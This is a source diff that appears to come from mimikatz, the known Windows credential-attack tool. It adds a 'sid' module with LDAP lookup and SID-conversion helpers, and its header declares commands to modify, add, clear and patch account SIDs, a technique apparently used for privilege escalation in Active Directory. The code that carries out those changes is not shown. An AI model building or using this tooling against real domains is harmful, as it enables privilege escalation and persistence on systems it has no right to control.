if(filter = (PWCHAR) LocalAlloc(LPTR, buffLen * sizeof(wchar_t)))
{
RtlCopyMemory(filter, L"(objectSid=", sizeof(L"(objectSid="));
for(i = 0; i < sidLen; i++)
swprintf_s(filter + ARRAYSIZE(L"(objectSid=") - 1 + (i * 3), 3 + 1, L"\\%02x", ((PBYTE) pSid)[i]);
filter[buffLen - 2] = L')';
}
}
else PRINT_ERROR(L"Invalid SID\n");
LocalFree(pSid);
}
else PRINT_ERROR_AUTO(L"ConvertStringSidToSid");
}
else PRINT_ERROR(L"/sam or /sid to target the account is needed\n");
return filter;
}
BOOL kuhl_m_sid_getLdapAndRootDN(PLDAP *ld, PWCHAR *rootDn)
{
BOOL status = FALSE;
DWORD dwErr;
if(*ld = ldap_init(NULL, LDAP_PORT))
{
if(*rootDn = kuhl_m_sid_getRootDomainNamingContext(*ld))
{
dwErr = ldap_bind_s(*ld, NULL, NULL, LDAP_AUTH_NEGOTIATE);
status = (dwErr == LDAP_SUCCESS);
if(!status)
{
PRINT_ERROR(L"ldap_bind_s 0x%x (%u)\n", dwErr, dwErr);
*rootDn = (PWCHAR) LocalFree(*rootDn);
}
}
if(!status)
ldap_unbind(*ld);
}
else PRINT_ERROR(L"ldap_init\n");
return status;
}
PWCHAR kuhl_m_sid_getRootDomainNamingContext(LDAP *ld)
{
DWORD dwErr;
PWCHAR rootAttr[] = {L"rootDomainNamingContext", NULL}, ret = NULL;
PLDAPMessage pMessage = NULL;
PBERVAL *pBerVal;
dwErr = ldap_search_s(ld, NULL, LDAP_SCOPE_BASE, L"(dn=RootDSE)", rootAttr, FALSE, &pMessage);
if(dwErr == LDAP_SUCCESS)
{
if(ldap_count_entries(ld, pMessage) == 1)
{
if(pBerVal = ldap_get_values_len(ld, pMessage, rootAttr[0]))
{
if(ldap_count_values_len(pBerVal) == 1)
ret = kull_m_string_qad_ansi_c_to_unicode(pBerVal[0]->bv_val, pBerVal[0]->bv_len);
else PRINT_ERROR(L"ldap_get_values_len is NOT 1\n");
ldap_value_free_len(pBerVal);
}
}
else PRINT_ERROR(L"ldap_count_entries is NOT 1\n");
}
else PRINT_ERROR(L"ldap_search_s 0x%x (%u)\n", dwErr, dwErr);
if(pMessage)
ldap_msgfree(pMessage);
return ret;
}

View File

@ -0,0 +1,27 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#pragma once
#include "kuhl_m.h"
#include <Winldap.h>
#include <WinBer.h>
#include "../modules/kull_m_token.h"
#include "../modules/kull_m_service.h"
#include "../modules/kull_m_patch.h"
const KUHL_M kuhl_m_sid;
NTSTATUS kuhl_m_sid_lookup(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_sid_query(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_sid_modify(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_sid_add(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_sid_clear(int argc, wchar_t * argv[]);
NTSTATUS kuhl_m_sid_patch(int argc, wchar_t * argv[]);
void kuhl_m_sid_displayMessage(PLDAP ld, PLDAPMessage pMessage);
BOOL kuhl_m_sid_quickSearch(int argc, wchar_t * argv[], BOOL needUnique, PLDAP *ld, PLDAPMessage *pMessage);
PWCHAR kuhl_m_sid_filterFromArgs(int argc, wchar_t * argv[]);
BOOL kuhl_m_sid_getLdapAndRootDN(PLDAP *ld, PWCHAR *rootDn);
PWCHAR kuhl_m_sid_getRootDomainNamingContext(LDAP *ld);

View File

@ -26,6 +26,12 @@ BOOL kull_m_token_getNameDomainFromToken(HANDLE hToken, PWSTR * pName, PWSTR * p
return result;
}
PCWCHAR SidNameUses[] = {L"User", L"Group", L"Domain", L"Alias", L"WellKnownGroup", L"DeletedAccount", L"Invalid", L"Unknown", L"Computer", L"Label"};
PCWCHAR kull_m_token_getSidNameUse(SID_NAME_USE SidNameUse)
{
return (SidNameUse > 0 && SidNameUse <= SidTypeLabel) ? SidNameUses[SidNameUse - 1] : L"unk!";
}
BOOL kull_m_token_getNameDomainFromSID(PSID pSid, PWSTR * pName, PWSTR * pDomain, PSID_NAME_USE pSidNameUse)
{
BOOL result = FALSE;
@ -50,6 +56,30 @@ BOOL kull_m_token_getNameDomainFromSID(PSID pSid, PWSTR * pName, PWSTR * pDomain
return result;
}
BOOL kull_m_token_getSidDomainFromName(PCWSTR pName, PSID * pSid, PWSTR * pDomain, PSID_NAME_USE pSidNameUse)
{
BOOL result = FALSE;
SID_NAME_USE sidNameUse;
PSID_NAME_USE peUse = pSidNameUse ? pSidNameUse : &sidNameUse;
DWORD cbSid = 0, cchReferencedDomainName = 0;
if(!LookupAccountName(NULL, pName, NULL, &cbSid, NULL, &cchReferencedDomainName, peUse) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER))
{
if(*pSid = (PSID) LocalAlloc(LPTR, cbSid * sizeof(wchar_t)))
{
if(*pDomain = (PWSTR) LocalAlloc(LPTR, cchReferencedDomainName * sizeof(wchar_t)))
{
result = LookupAccountName(NULL, pName, *pSid, &cbSid, *pDomain, &cchReferencedDomainName, peUse);
if(!result)
*pDomain = (PWSTR) LocalFree(*pDomain);
}
if(!result)
*pSid = (PSID) LocalFree(*pSid);
}
}
return result;
}
BOOL kull_m_token_getTokens(PKULL_M_TOKEN_ENUM_CALLBACK callBack, PVOID pvArg)
{
BOOL status = FALSE;

View File

@ -21,4 +21,6 @@ BOOL CALLBACK kull_m_token_getTokens_process_callback(PSYSTEM_PROCESS_INFORMATIO
BOOL CALLBACK kull_m_token_getTokens_handles_callback(HANDLE handle, PSYSTEM_HANDLE pSystemHandle, PVOID pvArg);
BOOL kull_m_token_getNameDomainFromToken(HANDLE hToken, PWSTR * pName, PWSTR * pDomain, PWSTR * pSid, PSID_NAME_USE pSidNameUse);
BOOL kull_m_token_getNameDomainFromSID(PSID pSid, PWSTR * pName, PWSTR * pDomain, PSID_NAME_USE pSidNameUse);
PCWCHAR kull_m_token_getSidNameUse(SID_NAME_USE SidNameUse);
BOOL kull_m_token_getNameDomainFromSID(PSID pSid, PWSTR * pName, PWSTR * pDomain, PSID_NAME_USE pSidNameUse);
BOOL kull_m_token_getSidDomainFromName(PCWSTR pName, PSID * pSid, PWSTR * pDomain, PSID_NAME_USE pSidNameUse);